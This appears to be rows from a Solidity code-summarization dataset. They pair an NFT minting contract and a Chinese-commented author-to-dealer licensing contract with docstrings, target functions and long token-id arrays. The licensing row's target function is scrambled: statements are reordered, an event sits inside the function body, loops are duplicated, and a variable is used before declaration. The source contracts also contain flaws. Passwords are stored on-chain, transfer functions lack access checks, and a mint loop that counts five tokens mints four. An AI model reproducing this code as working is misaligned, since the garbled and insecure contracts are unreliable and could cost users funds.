* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: Doodle Pengiuns.sol
pragma solidity ^0.8.2;
contract DoodlePenguins is ERC721, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using SafeMath for uint256;
using ECDSA for bytes32;
using Strings for uint256;
Counters.Counter private tokenSupply;
Counters.Counter private influncerGiveawaySupply;
string public DOODLE_PENGUIN_PROVENANCE = "";
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_SUPPLY_WHITELIST = 1000;
uint256 public constant MAX_GIVEAWAY_INFLUENCER = 100;
uint256 public constant WHITELIST_MINT_CAP = 2;
uint256 public constant MAX_DOODLE_PENGUIN_PER_PURCHASE = 20;
uint256 public constant WALLET_CAP = 100;
uint256 private DOODLE_PENGIUN_PRICE = 0 ether;
string public tokenBaseURI;
string public unrevealedURI;
bool public presaleActive = false;
bool public mintActive = false;
mapping(address => uint256) private whitelistAddressMintCount;
mapping(address => bool) private influncerGiveaways;
constructor() ERC721("Doodles Penguin", "DOODLEPENGS")
{
tokenSupply.increment();
}
/**************
* Flip State *
**************/
function flipPresaleState() external onlyOwner
{
presaleActive = !presaleActive;
}
function enablePublicSale() external onlyOwner
{
mintActive = !mintActive;
}
/********************
* Setter functions *
********************/
function setProvenanceHash(string memory provenanceHash) external onlyOwner
{
DOODLE_PENGUIN_PROVENANCE = provenanceHash;
}
function setTokenBaseURI(string memory _baseURI) external onlyOwner
{
tokenBaseURI = _baseURI;
}
function setUnrevealedURI(string memory _unrevealedUri) external onlyOwner
{
unrevealedURI = _unrevealedUri;
}
function tokenURI(uint256 _tokenId) override public view returns (string memory)
{
bool revealed = bytes(tokenBaseURI).length > 0;
if (!revealed) {
return unrevealedURI;
}
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(tokenBaseURI, _tokenId.toString()));
}
function addInfluencerGiveaway(address _address) external onlyOwner
{
influncerGiveaways[_address] = true;
}
/*********************
* Get current price *
*********************/
function getCurrentPrice(uint256 _quantity) public view returns (uint256)
{
uint256 returnPrice;
if (tokenSupply.current().add(_quantity) > 1000)
{
returnPrice = 0.01 ether;
}
if (tokenSupply.current().add(_quantity) > 3000)
{
returnPrice = 0.02 ether;
}
if (tokenSupply.current().add(_quantity) > 5000)
{
returnPrice = 0.03 ether;
}
if (tokenSupply.current().add(_quantity) > 7000)
{
returnPrice = 0.04 ether;
}
return returnPrice;
}
function getTokenSupply() public view returns (uint256)
{
return tokenSupply.current();
}
/********
* Mint *
********/
/**********************
* 0-1000 free *
* 1001-3000 .01 eth *
* 3001-5000 .02 eth *
* 5001-7000 .03 eth *
* 7001-10000 .04 eth *
**********************/
// Whitelist mint function
function presaleMint(uint256 _quantity, bytes calldata _whitelistSignature) external payable nonReentrant
{
require(verifyOwnerSignature(keccak256(abi.encode(msg.sender)), _whitelistSignature), "Invalid whitelist signature");
require(presaleActive, "Presale is not active");
require(tokenSupply.current().add(_quantity) <= MAX_SUPPLY_WHITELIST, "Whitelist is sold out");
require(_quantity <= WHITELIST_MINT_CAP, "Exceeds whitelist mint cap");
require(whitelistAddressMintCount[msg.sender].add(_quantity) <= WHITELIST_MINT_CAP, "This purchase would exceed the maximum you are allowed to mint for presale");
whitelistAddressMintCount[msg.sender] += _quantity;
_safeMintDoodlePenguins(_quantity);
}
// Public mint function
function publicMint(uint256 _quantity) external payable
{
require(mintActive, "Sale is not active");
require(_quantity <= MAX_DOODLE_PENGUIN_PER_PURCHASE, "Quantity is more than allowed per transaction");
_safeMintDoodlePenguins(_quantity);
}
// Used for giveaway winners or influencer payment for marketing (mints 5 Doodle Penguins)
function influncerGiveawayMint() external
{
require(influncerGiveaways[msg.sender] == true, "You are not allowed to use this function");
require(tokenSupply.current().add(5) <= MAX_SUPPLY, "This purchase would exceed the max supply");
require(influncerGiveawaySupply.current().add(5) <= MAX_GIVEAWAY_INFLUENCER);
for (uint256 i = 0; i < 4; i++)
{
uint256 mintIndex = tokenSupply.current();
if (mintIndex < MAX_SUPPLY)
{
tokenSupply.increment();
influncerGiveawaySupply.increment();
_safeMint(msg.sender, mintIndex);
}
}
influncerGiveaways[msg.sender] = false;
}
function _safeMintDoodlePenguins(uint256 _quantity) internal
{
if (tokenSupply.current().add(_quantity) > 1000)
{
DOODLE_PENGIUN_PRICE = 0.01 ether;
}
if (tokenSupply.current().add(_quantity) > 3000)
{
DOODLE_PENGIUN_PRICE = 0.02 ether;
}
if (tokenSupply.current().add(_quantity) > 5000)
{
DOODLE_PENGIUN_PRICE = 0.03 ether;
}
if (tokenSupply.current().add(_quantity) > 7000)
{
DOODLE_PENGIUN_PRICE = 0.04 ether;
}
require(_quantity > 0, "Quantity must be at least 1");
require(tokenSupply.current().add(_quantity) <= MAX_SUPPLY, "This purchase would exceed the max supply");
require(msg.value >= DOODLE_PENGIUN_PRICE.mul(_quantity), "The ether value sent is not correct");
for (uint256 i = 0; i < _quantity; i++)
{
uint256 mintIndex = tokenSupply.current();
if (mintIndex < MAX_SUPPLY)
{
tokenSupply.increment();
_safeMint(msg.sender, mintIndex);
}
}
}
/***************
* Withdrawals *
***************/
// Withdraws entire balance of contract (ETH) to owner account (owner-only)
function withdraw() public onlyOwner
{
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
// Withdraws amount specified (ETH) from balance of contract to owner account (owner-only)
function withdrawPartial(address payable _recipient, uint256 _amount)
public
onlyOwner
{
// Check that amount is not more than total contract balance
require(
_amount > 0 && _amount <= address(this).balance,
"Withdraw amount must be positive and not exceed total contract balance"
);
_recipient.transfer(_amount);
}
/************
* Security *
************/
function verifyOwnerSignature(bytes32 hash, bytes memory signature) private view returns(bool)
{
return hash.toEthSignedMessageHash().recover(signature) == owner();
}
} | Withdraws entire balance of contract (ETH) to owner account (owner-only) | function withdraw() public onlyOwner
{
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
| 7,838,146 | [
1,
1190,
9446,
87,
7278,
11013,
434,
6835,
261,
1584,
44,
13,
358,
3410,
2236,
261,
8443,
17,
3700,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
598,
9446,
1435,
1071,
1338,
5541,
7010,
565,
288,
203,
3639,
2254,
5034,
11013,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
2934,
13866,
12,
12296,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
contract Utils {
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) internal pure returns (string memory) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (uint j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
contract Score is Utils {
address owner; //版权拥有者,作者
uint issuedScoreAmount; //银行已经发行的积分总数
uint settledScoreAmount; //银行已经清算的积分总数
struct Author{//作者
//Num[] authorGoods;//作者作品数量
uint num;//作品个数
}
struct Dealer{//经销商
address dealerAddr;//经销商地址
bytes32 password;//经销商密码
Num[] dealerGoods;//经销商作品数量
}
struct Platform{//大平台
address platformAddr;//大平台地址
bytes32 password;//大平台密码
Num[] platformGoods;//大平台数量
}
struct Num{
bytes32 goodsId;//作品Id
uint num;//作品数量
}
struct Good {
bytes32 goodId; //作品Id;
bytes32 goodsDesc;//作品描述
}
struct TransferProcess{
bytes32 goodsId;//作品ID
address sellerAdr;//卖方地址
address buyerAdr;//买方地址
uint num;//交易数目
uint transTime;//交易时间
}
struct TransferProcesses{
bytes32 goodsId;
TransferProcess[] process;
}
mapping(bytes32 => Good) good; //根据作品Id查找该件作品
mapping(bytes32 => TransferProcesses) transferProcess;//根据作品ID查找交易记录
mapping(address => Platform) platform;//根据平台账户ID查询作户信息
mapping(address => Dealer) dealer;//根据经销商账户ID查询经销商信息
mapping(bytes32 => Author) author;//作品ID->作品数量
mapping(address => bytes32[]) addrGoodsID;//根据账户ID查询拥有的作品IDs(经销商、平台)
bytes32[] goodsID;//所有作品IDs
address[] dealers;//已注册经销商组
address[] platforms;//已注册平台组
//增加权限控制,某些方法只能由合约的创建者调用
modifier onlyOwner(){
if (msg.sender == owner) _;
}
//构造函数
constructor() public {
owner = msg.sender;
}
//返回合约调用者地址
function getOwner() view public returns (address) {
return owner;
}
//注册一个平台
event NewPlatform(address sender,bool isSuccess,string message);
function newPlatform(address _platformAddr,string memory _password) public{
//判断是否已经注册
if(!isPlatformAlreadyRegister(_platformAddr)){
//还未注册
platform[_platformAddr].platformAddr = _platformAddr;
platform[_platformAddr].password = stringToBytes32(_password);
platforms.push(_platformAddr);
emit NewPlatform(msg.sender,true,"平台注册成功");
return;
}else{//已注册
emit NewPlatform(msg.sender,false,"该平台已被注册");
}
}
//平台登录
event LoginPlatform(address sender,bool isSuccess,string message);
function loginPlatform(address _platformAddr,string memory _password) public {
//判断是否已经注册
if(isPlatformAlreadyRegister(_platformAddr)){
if(platform[_platformAddr].password == stringToBytes32(_password)){
//登录成功
emit LoginPlatform(msg.sender,true,"登录成功");
return;
}else{
//登录失败
emit LoginPlatform(msg.sender,false,"登录失败,密码错误!");
}
}else{
emit LoginPlatform(msg.sender,false,"登录失败,该平台尚未注册!");
}
}
//判断一个平台是否已经注册
function isPlatformAlreadyRegister(address _platformAddr) public view returns (bool) {
for (uint i = 0; i < platforms.length; i++) {
if (platforms[i] == _platformAddr) {
return true;
}
}
return false;
}
//注册一个经销商账户
event NewDealer(address sender,bool isSuccess,string message);
function newDealer(address _dealerAddr,string memory _password) public {
//判断是否已经注册
if(!isDealerAlreadyRegister(_dealerAddr)){
//还未注册
dealer[_dealerAddr].dealerAddr=_dealerAddr;
dealer[_dealerAddr].password=stringToBytes32(_password);
dealers.push(_dealerAddr);
emit NewDealer(msg.sender,true,"经销商注册成功");
return;
}else{
emit NewDealer(msg.sender,false,"经销商已被注册");
}
}
//经销商账户登录
event LoginDealer(address sender,bool isSuccess,string message);
function loginDealer(address _dealerAddr,string memory _password) public {
//判断是否已经注册
if(isDealerAlreadyRegister(_dealerAddr)){
if(dealer[_dealerAddr].password == stringToBytes32(_password)){
//登录成功
emit LoginDealer(msg.sender,true,"登录成功");
return;
}else{
//登录失败
emit LoginDealer(msg.sender,false,"登录失败,密码错误!");
}
}else{
emit LoginDealer(msg.sender,false,"登录失败,该经销商未注册!");
}
}
//判断一个经销商是否已经注册
function isDealerAlreadyRegister(address _dealerAddr) public view returns(bool){
for (uint i = 0; i < dealers.length; i++) {
if (dealers[i] == _dealerAddr) {
return true;
}
}
return false;
}
//作者向经销商授权(只能作者调用)
event AuthorToDealer(address sender,bool isSuccess,string message);
function authorToDealer(address _receiver,string memory _goodsId,
uint _goodsNum) onlyOwner public {
// _receiver:作者授权的经销商账户,_goodsId:作品ID,_goodsNum:作品的数量
//判断一个经销商是否已经注册
if(!isDealerAlreadyRegister(_receiver)){
//经销商账户不存在
emit AuthorToDealer(msg.sender,false,"经销商账户不存在!");
return;
}
bytes32 goodsId = stringToBytes32(_goodsId);
//判断作品是否已存在
if(!isGoodExisted(goodsId)){
//作品不存在
emit AuthorToDealer(msg.sender,false,"作品ID不存在!");
return;
}
if(_goodsNum<=0||_goodsNum> author[goodsId].num){
//交易数目非法
emit AuthorToDealer(msg.sender,false,"作品交易数目非法!");
return;
}
//遍历该账户已有用的作品IDS
uint length = addrGoodsID[_receiver].length;
bytes32[] memory ids = new bytes32[](length+1);
bool flag = false;//标记是否已存在当前作品(默认不包括)
for(uint i =0;i<length;i++){
ids[i] = addrGoodsID[_receiver][i];
if(ids[i]==goodsId){
flag = true;
//当前交易作品ID(多次交易同一作品),已存在当前数组中。无需继续
break;
}
}
if(!flag){
//经销商还未有任何作品或不包括当前作品,将当前作品ID追加到数组中
ids[length] = goodsId;
addrGoodsID[_receiver] = ids;
}
//将作者作品数减少
author[goodsId].num -=_goodsNum;
//将当前作品数追加到经销商
Num[] memory dealerGoods=dealer[_receiver].dealerGoods;
bool flag1 = false;
for(uint i=0;i<dealerGoods.length;i++){
if(dealerGoods[i].goodsId == goodsId){
//当前ID已存在,更新经销商作品数量
flag1 = true;
dealer[_receiver].dealerGoods[i].num += _goodsNum;
break;
}
}
if(!flag1){
//当前作品ID不存在,需新增至经销商
dealer[_receiver].dealerGoods.push(Num(goodsId,_goodsNum));
}
//记录日志
transferProcess[goodsId].goodsId = goodsId;
transferProcess[goodsId].process.push(TransferProcess(goodsId,owner,_receiver,_goodsNum,now));
emit AuthorToDealer(msg.sender,true,"交易成功!");
return;
}
//经销商授权给各个平台
event DealToPlatform(address _dealerAddr,address _platformAddr,string message);
function dealToPlatform(address _dealerAddr,address _platformAddr,string memory _goodsId,uint _goodsNum) public{
//判断经销商账户户是否存在
if(!isDealerAlreadyRegister(_dealerAddr)){
//经销商账户不存在,中断操作
emit DealToPlatform(_dealerAddr,_platformAddr,"经销商账户不存在");
return;
}
//判断平台账户是否存在
if(!isPlatformAlreadyRegister(_platformAddr)){
//平台不存在,中断操作
emit DealToPlatform(_dealerAddr,_platformAddr,"平台账户不存在");
return;
}
//判断作品是否已存在
if(!isGoodExisted(stringToBytes32(_goodsId))){
//待交易作品ID不存在,中断操作
emit DealToPlatform(_dealerAddr,_platformAddr,"作品ID不存在");
return ;
}
//判断交易数目是否非法
if(_goodsNum<=0){
//判断交易数目非法
emit DealToPlatform(_dealerAddr,_platformAddr,"交易数目非法");
return ;
}
//判断作品是否属于当前经销商
Num[] memory gds = dealer[_dealerAddr].dealerGoods;
if(gds.length<1){
//当前经销商不存在任何作品,不能进行此交易
emit DealToPlatform(_dealerAddr,_platformAddr,"作品不属于当前经销商");
return ;
}
bool flag = false;//记录当前作品是否在当前经销商,判断交易数目是否合法(默认非法)
bytes32 goodsId = stringToBytes32(_goodsId);
for(uint i=0;i<gds.length;i++){
if((gds[i].goodsId==goodsId)&&(gds[i].num>=_goodsNum)){
flag = true;
break;
}
}
if(!flag){
//交易数目非法,或则作品不属于当前经销商
emit DealToPlatform(_dealerAddr,_platformAddr,"作品不属于当前经销商,或交易数目非法");
return ;
}
//遍历平台,是否已有该作品IDS
uint length = addrGoodsID[_platformAddr].length;
bytes32[] memory ids = new bytes32[](length+1);
bool flag1 = false;//标记是否已存在当前作品(默认不包括)
for(uint i =0;i<length;i++){
ids[i] = addrGoodsID[_platformAddr][i];
if(ids[i]==goodsId){
flag = true;
//当前交易作品ID(多次交易同一作品),已存在当前数组中。无需继续
break;
}
}
if(!flag){
//平台还未有任何作品或不包括当前作品,将当前作品ID追加到数组中
ids[length] = goodsId;
addrGoodsID[_platformAddr] = ids;
}
//将经销作品数减少
Num[] memory dGoods = dealer[_dealerAddr].dealerGoods;
for(uint i=0;i<dGoods.length;i++){
if(dGoods[i].goodsId == goodsId){
dealer[_dealerAddr].dealerGoods[i].num -=_goodsNum;
break;
}
}
//将当前作品数追加到平台
Num[] memory platgoods=platform[_platformAddr].platformGoods;
bool flag2 = false;
for(uint i=0;i<platgoods.length;i++){
if(platgoods[i].goodsId == goodsId){
//当前ID已存在,更新平台做品数量
flag1 = true;
platform[_platformAddr].platformGoods[i].num += _goodsNum;
break;
}
}
if(!flag2){
//当前作品ID不存在,需新增至平台
platform[_platformAddr].platformGoods.push(Num(goodsId,_goodsNum));
}
//记录日志
transferProcess[goodsId].goodsId = goodsId;
transferProcess[goodsId].process.push(TransferProcess(goodsId,_dealerAddr,_platformAddr,_goodsNum,now));
emit DealToPlatform(_dealerAddr,_platformAddr,"交易成功!");
return;
}
//通过地址查询所有作品,返回数据:状态、说明、作品ID、作品数目作作品描述
function getAllGoods(address _address)view public returns(bool,string memory,bytes32[] memory ,uint[] memory,bytes32[] memory){
bytes32[] memory ids;
uint[] memory nums;
bytes32[] memory desc;
uint length;
if(_address==owner){
//作者查询所有作品详情
length = goodsID.length;
ids = new bytes32[](length);
nums = new uint[](length);
desc = new bytes32[](length);
for(uint i=0;i<length;i++){
ids[i]=goodsID[i];
nums[i]=author[goodsID[i]].num;
desc[i]=good[goodsID[i]].goodsDesc;
}
return (true,"作者查询作品成功!",ids,nums,desc);
}
if(isDealerAlreadyRegister(_address)){
//经销商账户查询所有作品
Num[] memory nus = dealer[_address].dealerGoods;
length = nus.length;
ids = new bytes32[](length);
nums = new uint[](length);
desc = new bytes32[](length);
for(uint i=0;i<length;i++){
ids[i] = nus[i].goodsId;
nums[i] = nus[i].num;
desc[i] = good[nus[i].goodsId].goodsDesc;
}
return (true,"经销商查询作品成功!",ids,nums,desc);
}
if(isPlatformAlreadyRegister(_address)){
//平台账户查询所有作品
Num[] memory nus = platform[_address].platformGoods;
length = nus.length;
ids = new bytes32[](length);
nums = new uint[](length);
desc = new bytes32[](length);
for(uint i=0;i<length;i++){
ids[i] = nus[i].goodsId;
nums[i] = nus[i].num;
desc[i] = good[nus[i].goodsId].goodsDesc;
}
return (true,"平台查询作品成功!",ids,nums,desc);
}
return(false,"输入的账户不存在",new bytes32[](0),new uint[](0),new bytes32[](0));
}
//作者登记一件作品
event InputGoods(address sender,bool isSuccess,string message);
function inputGoods(string memory _goodsId,string memory _goodsDesc,uint _goodsNum)onlyOwner
public {
bytes32 goodsId = stringToBytes32(_goodsId);
bytes32 goodsDesc = stringToBytes32(_goodsDesc);
if(!isGoodExisted(goodsId)){
//不存在
goodsID.push(goodsId);
author[goodsId].num =_goodsNum;//个数
good[goodsId].goodId=goodsId;
good[goodsId].goodsDesc=goodsDesc;
emit InputGoods(msg.sender, true, "登记新作品成功!");
}else{
//已存在
author[goodsId].num +=_goodsNum;//更新总仓个数
emit InputGoods(msg.sender, true, "更新作者作品数成功!");
}
return;
}
//查询作者作品个数
function getAuthor(string memory _goodsId)view public returns(uint){
bytes32 id = stringToBytes32(_goodsId);
if(!isGoodExisted(id)){
//作品不存在
return 0;
}else{
return author[id].num;
}
}
//查询作品交易日志(请求字段:账户地址、作品ID;响应字段:查询状态、说明、交易发起发地址、交易接收方地址、交易数量、交易时间)
function getGoodsTransferProcess(address _owner,string memory _goodsId)view public returns(bool,string memory,address[] memory,address[] memory,uint[] memory,uint[] memory){
//判断查询作品是否存在
bytes32 goodsId = stringToBytes32(_goodsId);
if(!isGoodExisted(goodsId)){
//作品ID不存在
return (false,"作品ID不存在!",new address[](1),new address[](1),new uint[](1),new uint[](1));
}
TransferProcess[] memory processes = transferProcess[goodsId].process;
address[] memory senderAdr = new address[](processes.length);//交易发起方
address[] memory receiverAdr=new address[](processes.length);//交易接收方
uint[] memory nums=new uint[](processes.length);//交易数目
uint[] memory transTime=new uint[](processes.length);//交易时间
//判断账号类型
if(_owner == owner){
//账号为作者账号
for(uint i=0;i<processes.length;i++){
senderAdr[i]=processes[i].sellerAdr;
receiverAdr[i]= processes[i].buyerAdr;
nums[i]=processes[i].num;
transTime[i]=processes[i].transTime;
}
return (true,"查询成功",senderAdr,receiverAdr,nums,transTime);
}else if(isDealerAlreadyRegister(_owner)){
//账户为经销商账户
for(uint i=0;i<processes.length;i++){
if(processes[i].sellerAdr!=_owner){
//非当前账户发出的交易,自动过滤
continue;
}
senderAdr[i]=processes[i].sellerAdr;
receiverAdr[i]= processes[i].buyerAdr;
nums[i]=processes[i].num;
transTime[i]=processes[i].transTime;
}
return (true,"查询成功",senderAdr,receiverAdr,nums,transTime);
}else if(isPlatformAlreadyRegister(_owner)){
//账户为平台账户,不支持查询
return (false,"平台账户不支持查询",new address[](0),new address[](0),new uint[](0),new uint[](0));
}
}
//判断作品是否已存在
function isGoodExisted(bytes32 _goodID) internal view returns (bool) {
bool isExisted = false;
for(uint i = 0; i < goodsID.length; i++) {
if(goodsID[i] == _goodID) {
return isExisted = true;
}
}
return isExisted;
}
}
| _receiver:作者授权的经销商账户,_goodsId:作品ID,_goodsNum:作品的数量判断一个经销商是否已经注册 | uint _goodsNum) onlyOwner public {
event AuthorToDealer(address sender,bool isSuccess,string message);
function authorToDealer(address _receiver,string memory _goodsId,
if(!isDealerAlreadyRegister(_receiver)){
emit AuthorToDealer(msg.sender,false,"经销商账户不存在!");
return;
}
bytes32 goodsId = stringToBytes32(_goodsId);
if(!isGoodExisted(goodsId)){
emit AuthorToDealer(msg.sender,false,"作品ID不存在!");
return;
}
if(_goodsNum<=0||_goodsNum> author[goodsId].num){
emit AuthorToDealer(msg.sender,false,"作品交易数目非法!");
return;
}
bytes32[] memory ids = new bytes32[](length+1);
uint length = addrGoodsID[_receiver].length;
for(uint i =0;i<length;i++){
ids[i] = addrGoodsID[_receiver][i];
if(ids[i]==goodsId){
flag = true;
break;
}
}
for(uint i =0;i<length;i++){
ids[i] = addrGoodsID[_receiver][i];
if(ids[i]==goodsId){
flag = true;
break;
}
}
if(!flag){
ids[length] = goodsId;
addrGoodsID[_receiver] = ids;
}
bool flag1 = false;
author[goodsId].num -=_goodsNum;
Num[] memory dealerGoods=dealer[_receiver].dealerGoods;
for(uint i=0;i<dealerGoods.length;i++){
if(dealerGoods[i].goodsId == goodsId){
flag1 = true;
dealer[_receiver].dealerGoods[i].num += _goodsNum;
break;
}
}
for(uint i=0;i<dealerGoods.length;i++){
if(dealerGoods[i].goodsId == goodsId){
flag1 = true;
dealer[_receiver].dealerGoods[i].num += _goodsNum;
break;
}
}
if(!flag1){
dealer[_receiver].dealerGoods.push(Num(goodsId,_goodsNum));
}
transferProcess[goodsId].process.push(TransferProcess(goodsId,owner,_receiver,_goodsNum,now));
emit AuthorToDealer(msg.sender,true,"交易成功!");
return;
transferProcess[goodsId].goodsId = goodsId;
}
| 965,223 | [
1,
67,
24454,
176,
125,
253,
165,
126,
255,
169,
227,
232,
167,
241,
235,
167,
256,
230,
168,
253,
231,
168,
124,
242,
170,
247,
227,
166,
248,
233,
169,
117,
104,
167,
235,
120,
176,
125,
239,
67,
19747,
87,
548,
176,
125,
253,
165,
126,
255,
166,
246,
228,
734,
16,
67,
19747,
87,
2578,
30,
165,
126,
255,
166,
246,
228,
168,
253,
231,
167,
248,
113,
170,
234,
242,
166,
235,
102,
167,
249,
260,
165,
121,
227,
165,
121,
108,
168,
124,
242,
170,
247,
227,
166,
248,
233,
167,
251,
112,
166,
243,
104,
166,
120,
115,
168,
124,
242,
167,
116,
106,
166,
233,
239,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
2254,
389,
19747,
87,
2578,
13,
1338,
5541,
1071,
288,
203,
565,
871,
6712,
774,
10889,
12,
2867,
5793,
16,
6430,
21579,
16,
1080,
883,
1769,
203,
565,
445,
2869,
774,
10889,
12,
2867,
389,
24454,
16,
1080,
225,
3778,
225,
389,
19747,
87,
548,
16,
7010,
3639,
309,
12,
5,
291,
10889,
9430,
3996,
24899,
24454,
3719,
95,
203,
2868,
3626,
6712,
774,
10889,
12,
3576,
18,
15330,
16,
5743,
10837,
168,
124,
242,
170,
247,
227,
166,
248,
233,
169,
117,
104,
167,
235,
120,
165,
121,
240,
166,
260,
251,
166,
255,
106,
176,
125,
228,
8863,
203,
2868,
327,
31,
203,
3639,
289,
203,
3639,
1731,
1578,
7494,
87,
548,
273,
14134,
2160,
1578,
24899,
19747,
87,
548,
1769,
203,
3639,
309,
12,
5,
291,
18195,
4786,
329,
12,
19747,
87,
548,
3719,
95,
203,
5411,
3626,
6712,
774,
10889,
12,
3576,
18,
15330,
16,
5743,
10837,
165,
126,
255,
166,
246,
228,
734,
165,
121,
240,
166,
260,
251,
166,
255,
106,
176,
125,
228,
8863,
203,
5411,
327,
31,
203,
3639,
289,
203,
3639,
309,
24899,
19747,
87,
2578,
32,
33,
20,
20081,
67,
19747,
87,
2578,
34,
2869,
63,
19747,
87,
548,
8009,
2107,
15329,
203,
2398,
3626,
6712,
774,
10889,
12,
3576,
18,
15330,
16,
5743,
10837,
165,
126,
255,
166,
246,
228,
165,
123,
102,
167,
251,
246,
167,
248,
113,
168,
254,
111,
170,
256,
257,
167,
116,
248,
176,
125,
228,
8863,
7010,
5411,
327,
31,
203,
3639,
289,
203,
4202,
1731,
2
]
|
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
